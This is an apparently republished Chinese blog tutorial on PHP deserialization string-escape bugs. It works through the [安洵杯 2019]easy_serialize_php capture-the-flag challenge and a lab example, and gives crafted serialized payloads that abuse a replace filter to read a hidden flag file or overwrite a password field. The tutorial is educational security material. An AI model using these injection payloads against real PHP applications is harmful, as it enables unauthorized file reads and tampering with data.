php反序列化字符串逃逸

字符串逃逸

字符串逃逸是通过改变序列化字符串的长度造成的php反序列化漏洞

一般是因为替换函数使得字符串长度发生变化,不论变长还是变短,原理都大致相同

在学习之前,要先了解序列化字符串的结构,在了解结构的基础上才能更好理解要输入多少被过滤的字符串

类型一

用例题的序列化字符串来分析一下吧(字符串变短的情况):

这是序列化后的字符串,过滤的是php,flag

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

 目标是img,其中是一个需要读取的php页面的base64编码,需要绕过php的过滤,因为flag会被替换为空,那么就可以利用替换为空时的引号进行闭合来包含需要绕过的地方,相当于把原本不会被过滤的一个位置置空,将需要绕过的地方放到不会被不会被过滤的地方

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
//当flag被替换为空后是这样的(这里我用#代替空方便查看)
a:3:{s:4:"user";s:24:"#";s:8:"function";s:59:"a#";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
这样一来被#包裹的字符串就成了user的属性值,那么function的位置就被#后面的字符串占据
在序列化的字符串中;}代表的是结束,所以第一个;}后面的字符串就是被丢弃的
s:2:"dd";s:1:"a",这部分字符串是自己添加的,因为有一个属性消失了,但是原本的属性数量是三个,所以添加一个,保持数量不变,否则会报错

[安洵杯 2019]easy_serialize_php

打开环境,点击source看见源码

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

代码里面提示在phpinfo里面可能有我们想要的,访问看看,有个flag.php想办法访问(auto_append_file在所有页面底部自动包含文件,所以自动包含了这个文件)

 有两个关键的部分

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

第一,替换函数会匹配$img中的php,flag等字符串替换为空;

第二,当function=='shou_image'时,会读取$userinfo的值,参数为img

我们需要访问读取的页面是后缀为php,如果直接放在img中就会存在过滤,所以要利用替换函数进行字符串逃逸,使得目标页面能够成功读取

开始构造payload

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';//d0g3_f1ag.php base64编码
var_dump(serialize($_SESSION));
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

 进行序列化后,通过分析我们需要把img的属性值放在function的位置来执行,这样既满足了img为参数,也绕过了替换函数,就是相当于我们吞掉了function,那么因为之前有三个属性,所以我们需要在添加一个属性,否则就会执行失败(注意属性长度要一致,不然过滤后,如果引号不能闭合会报错)

<?php
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1;"b";s:"2":"bb"}';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';//d0g3_f1ag.php base64编码
var_dump(serialize($_SESSION));

进行传参

 

把/d0g3_fllllllag进行base64编码

 PS:

在构造这部分时我自己出现了点问题

<?php
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1;"b";s:"2":"bb"}';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';//d0g3_f1ag.php base64编码
var_dump(serialize($_SESSION));

对于function的赋值,起初我的赋值是

";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1;"b";s:"2":"bb"}'

 但是这样的赋值是报错的

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:58:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"

 因为这样的赋值会导致序列化后出现两个引号中间为空,那么引号的闭合也就出现了问题

类型二

字符串替换后变长的情况

在大佬的博客找的实验代码,目的是在不修改$pass的值时间接的修改密码

<?php
function filter($str){
    return str_replace('bb', 'ccc', $str);
}
class A{
    public $name='aaaa';
    public $pass='123456';
}
$AA=new A();
echo serialize($AA)."\n";
$res=filter(serialize($AA));

$c=unserialize($res);
echo $c->pass;
?>

先运行一下这个代码看看输出什么

O:1:"A":2:{s:4:"name";s:4:"aaaa";s:4:"pass";s:6:"123456";}
123456

输出了序列化之后的字符串和密码,观察替换函数,匹配到'bb'替换为'ccc',每次替换就会多出一个一个字符,我们用'bb'序列化后看一下

O:1:"A":2:{s:4:"name";s:2:"bb";s:4:"pass";s:6:"123456";}

序列化之后,属性的长度为2,并且这个长度在序列化后就是固定的,即使替换函数也不会改变,这是能够逃逸的一个关键,因为是先进行了序列化才进行的替换既然这样替换后的字符串应该是这样的

O:1:"A":2:{s:4:"name";s:2:"bb";s:4:"pass";s:6:"123456";}//没有发生替换的 
O:1:"A":2:{s:4:"name";s:2:"ccc";s:4:"pass";s:6:"123456";}//发生替换的

这样的话name属性的值就只能读取两个长度,所以有一个c就不会被读取,就逃逸了filter对str的检测;想要对pass进行修改的话只要逃逸的字符数等于剩余部分的字符长度就可以,后面的字符串有27个,所以需要27个‘bb’

O:1:"A":2:{s:4:"name";s:81:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"456789";}";s:4:"pass";s:6:"123456";}
456789

分析一下最后的字符串

为什么这样就能逃逸呢?我来讲一下我的理解

首先':}'代表着结束,所以红线的部分相当于不被执行,那么就只有前面name属性的值是被执行的,但是为什么pass属性的值不被执行但是还是要对pass进行序列化呢,这是因为要满足前面属性的数量为2,否则如果只有name一个属性,在序列化后的字符串被执行时,属性数量和实际数量不符,会报错;

所以,我认为逃逸就是利用';}'来做一个相当于闭合的作用,把我们想要执行但是会被过滤的内容放在一个安全的位置去执行

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/587620.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Qt Creator导入第三方so库和jar包——Qt For Android

前言 之前了解了在Android Studio下导入so库和jar包&#xff0c;现在实现如何在Qt上导入so库和jar包。 实现 下面是我安卓开发&#xff08;需调用安卓接口的代码&#xff09;的目录&#xff08;图1&#xff09;&#xff0c;此目录结构和原生态环境&#xff08;Android Studi…

PS证件照

证件照尺寸 小一寸&#xff1a;2.2cm*3.3cm 一寸&#xff1a;2.5cm*3.5cm 像素413*295 &#xff08;分辨率为300像素/英寸&#xff09; 比例5&#xff1a;7 二寸&#xff1a;3.5cm*4.9cm 二寸照相比例是4&#xff1a;3&#xff0c;像素是626*413 蓝底&#xff1a;R&a…

python学习之词云图片生成

代码实现 import jieba import wordcloudf open("D:/Pythonstudy/data/平凡的世界.txt", "r", encoding"utf-8") t f.read() print(t) f.close() ls jieba.lcut(t) txt " ".join(ls)w wordcloud.WordCloud(font_path"D:/cc…

【Unity动画系统】详解Root Motion动画在Unity中的应用(二)

Root Motion遇到Blend Tree 如果Root Motion动画片段的速度是1.8&#xff0c;那么阈值就要设置为1.8&#xff0c;那么在代码中的参数就可以直接反映出Root Motion的最终移动速度。 Compute Thresholds&#xff1a;根据Root Motion中某些数值自动计算这里的阈值。 Velocity X/…

使用 Python 和 OpenCV 进行实时目标检测的详解

使用到的模型文件我已经上传了&#xff0c;但是不知道能否通过审核&#xff0c;无法通过审核的话&#xff0c;就只能 靠大家自己发挥实力了&#xff0c;^_^ 目录 简介 代码介绍 代码拆解讲解 1.首先&#xff0c;让我们导入需要用到的库&#xff1a; 2.然后&#xff0c;设…

《QT实用小工具·四十三》历史编辑器(支持历史搜索 关键字匹配)

1、概述 源码放在文章末尾 该项目实现了在输入框中输入部分信息能全部展现之前的历史输入信息&#xff0c;支持历史搜索和关键词匹配&#xff0c;项目demo演示如下所示&#xff1a; 项目部分代码如下所示&#xff1a; #include "historymodel.h" #include <QM…

Java发送请求-http+https的

第一步&#xff1a;建议ssl连接对象&#xff0c;信任所有证书 第二步&#xff1a;代码同时支持httphttps 引入源码类 是一个注册器 引入这个类&#xff0c;和它的方法create 注册器&#xff0c;所以对http和https都进行注册&#xff0c;参数为id和item&#xff0c;其中http的…

【已解决】pandas读excel中长数字变成科学计数法的问题

pandas 读excel中的长数字时&#xff0c;即使excel中已经设置为文本&#xff0c;读进df后也会自动变成科学计数法。 在日常的数据分析和处理工作中&#xff0c;Excel和pandas是数据分析师们不可或缺的得力助手。然而&#xff0c;在使用pandas读取Excel文件时&#xff0c;我们有…

CSAPP | Floating Point

CSAPP | Floating Point b i b_i bi​ b i − 1 b_{i-1} bi−1​ … b 2 b_2 b2​ b 1 b_1 b1​ b 0 b_0 b0​ b − 1 b_{-1} b−1​ b − 2 b_{-2} b−2​ b − 3 b_{-3} b−3​ … b − j b_{-j} b−j​ S ∑ k − j i b k 2 k S\sum_{k-j}^{i}b_k\times2^k S∑k…

如何批量复制多个文件到多个目录中(批量复制文件,多对多文件高效操作的方法)

首先&#xff0c;需要用到的这个工具&#xff1a; 度娘网盘 提取码&#xff1a;qwu2 蓝奏云 提取码&#xff1a;2r1z 现在开始说具体操作 1、首先&#xff0c;我准备了3个文件夹和两个可爱的图片&#xff1a; 当然&#xff0c;在实际使用的时候肯定不止这些&#xff0c;我这…

升级 Vite 5 出现警告 The CJS build of Vite‘s Node API is deprecated

错误描述 vue3-element-admin 项目将Vite4 升级至 Vite5 后,项目运行出现如下警告: The CJS build of Vites Node API is deprecated. See https://vitejs.dev/guide/troubleshooting.html#vite-cjs-node-api-deprecated for more details.图片 问题原因 Vite 官方弃用 C…

怎么用微信小程序实现远程控制台球室

怎么用微信小程序实现远程控制台球室呢&#xff1f; 本文描述了使用微信小程序调用HTTP接口&#xff0c;实现控制台球室&#xff0c;控制球台上方的照明灯&#xff0c;单台设备可控制多张球台的照明灯。 可选用产品&#xff1a;可根据实际场景需求&#xff0c;选择对应的规格 …

【源码解析】深入Pandas的心脏DataFrame 含十大功能、源码实现与编程知识点

作者介绍&#xff1a;10年大厂数据\经营分析经验&#xff0c;现任大厂数据部门负责人。 会一些的技术&#xff1a;数据分析、算法、SQL、大数据相关、python 欢迎加入社区&#xff1a;码上找工作 作者专栏每日更新&#xff1a; LeetCode解锁1000题: 打怪升级之旅 python数据分析…

Arcpy开发记录

一.GDB数据库相关 1.单独的shape更新时&#xff0c;不会有限制&#xff0c;数据会自动截取 2.在GDB下&#xff0c;使用UpdateCursor更新字段时&#xff0c;填入的数据长度必须与字段长度要求一致&#xff0c;否则报错&#xff1a; 二.arcpy.da.UpdateCursor相关 updateRow后关…

【无线通信开发应用】nRF905数据手册深度解读

希望通过两个stm32、两个nRF905无线通信模块、串口来实现两机通信。具体功能为&#xff1a; 板子A、B分别包含一个stm32单片机和一个nRF905无线模块&#xff0c;欲实现板子A、B之间的通信。 其中&#xff0c;PC端串口助手可向板子A的stm32发送字符‘A’控制板子B上的LED亮灯&am…

Linux migrate_type初步探索

1、基础知识 我们都知道Linux内存组织管理结构架构&#xff0c;顶层是struct pglist_data&#xff0c;然后再到struct zone&#xff0c;最后是struct page。大概的管理结构是这样的&#xff1a; 根据物理内存的地址范围可划分不同的zone&#xff0c;每个zone里的内存由buddy…

【redis】Redis数据类型(三)List类型

目录 List类型介绍特点 List数据结构附&#xff1a;3.2以前的版本(介绍一下压缩列表和双向链表)压缩列表ZipList双向链表LinkedList 常用命令lpush示例 lpushx示例 rpush示例 rpushx示例 LPOP示例 RPOP示例 BLPOP非阻塞行为阻塞行为相同的 key 被多个客户端同时阻塞在 MULTI/EX…

【类型商店】字符字符串(上)

啊&#xff0c;哈喽&#xff0c;小伙伴们大家好。我是#Y清墨&#xff0c;今天呐&#xff0c;我要介绍的是字符与字符串。 导语 在我之前发的[算法材料包]C数字拆分里有提及到.size()和length()和strlen(),想看更多内容请别划走&#xff01; 一.论字符 &#xff08;1&#xff…

口袋实验室--使用AD2高效调试IIC、UART、SPI等低速接口

目录 1. 简介 2. 调试过程 2.1 简要步骤 2.2 Si5338 寄存器配置流程 2.3 AD2的基本配置 2.4 检查Si5338状态 2.5 配置Si5338寄存器 2.6 保存Si5338寄存器 3. 总结 1. 简介 使用Digilent Analog Discovery 2进行调试不仅提升了工作效率&#xff0c;而且极大地简化了常…

Golang | Leetcode Golang题解之第60题排列序列

题目&#xff1a; 题解&#xff1a; func getPermutation(n int, k int) string {factorial : make([]int, n)factorial[0] 1for i : 1; i < n; i {factorial[i] factorial[i - 1] * i}k--ans : ""valid : make([]int, n 1)for i : 0; i < len(valid); i {…